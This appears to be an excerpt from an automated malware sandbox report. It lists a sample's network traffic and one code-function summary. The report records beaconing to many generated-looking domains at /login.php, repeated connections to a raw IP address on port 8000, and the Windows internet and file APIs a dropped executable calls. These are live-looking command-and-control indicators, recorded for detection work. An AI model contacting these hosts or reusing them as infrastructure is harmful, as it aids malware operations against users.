    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
    Source: global trafficHTTP traffic detected: GET /dh/147287063_377283.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
    Source: global trafficHTTP traffic detected: GET /dh/147287063_377283.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.comCookie: __tad=1731347316.6624222
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.comCookie: snkz=66.23.206.109; btst=28ebda691eb034d3559cf05f4c55a51f|66.23.206.109|1731347315|1731347315|0|1|0
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.comCookie: __tad=1731347315.6084114
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.com
    Source: global trafficHTTP traffic detected: GET /login.php?subid1=20241112-0450-16f3-ae99-53051689f189 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1731347316.6624222
    Source: global trafficHTTP traffic detected: GET /login.php?sub1=20241112-0450-17b0-8984-b4b272a22199 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1731347315.6084114
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygyvuj.comCookie: snkz=66.23.206.109; btst=293809bacc657b47b250fb03d68a31f5|66.23.206.109|1731347323|1731347323|0|1|0
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02704AB0 memset,GetProcessHeap,HeapAlloc,memset,memcpy,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,_snprintf,HttpAddRequestHeadersA,HttpSendRequestA,HttpQueryInfoA,CreateFileA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,GetProcessHeap,GetProcessHeap,HeapAlloc,memset,InternetReadFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,5_2_02704AB0
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.com
    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww5.galyqaz.comConnection: Keep-AliveCookie: vsid=908vr478892903411187757
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygynud.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
    Source: global trafficHTTP traffic detected: GET /dh/147287063_192768.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
    Source: global trafficHTTP traffic detected: GET /dh/147287063_192768.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.com
